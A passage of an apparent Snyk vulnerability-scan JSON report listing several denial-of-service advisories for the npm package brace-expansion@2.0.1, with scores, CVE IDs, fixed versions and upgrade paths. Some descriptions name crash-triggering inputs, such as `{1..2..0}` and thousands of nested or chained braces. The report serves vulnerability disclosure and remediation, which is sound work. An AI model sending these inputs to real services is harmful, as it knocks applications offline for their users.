"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
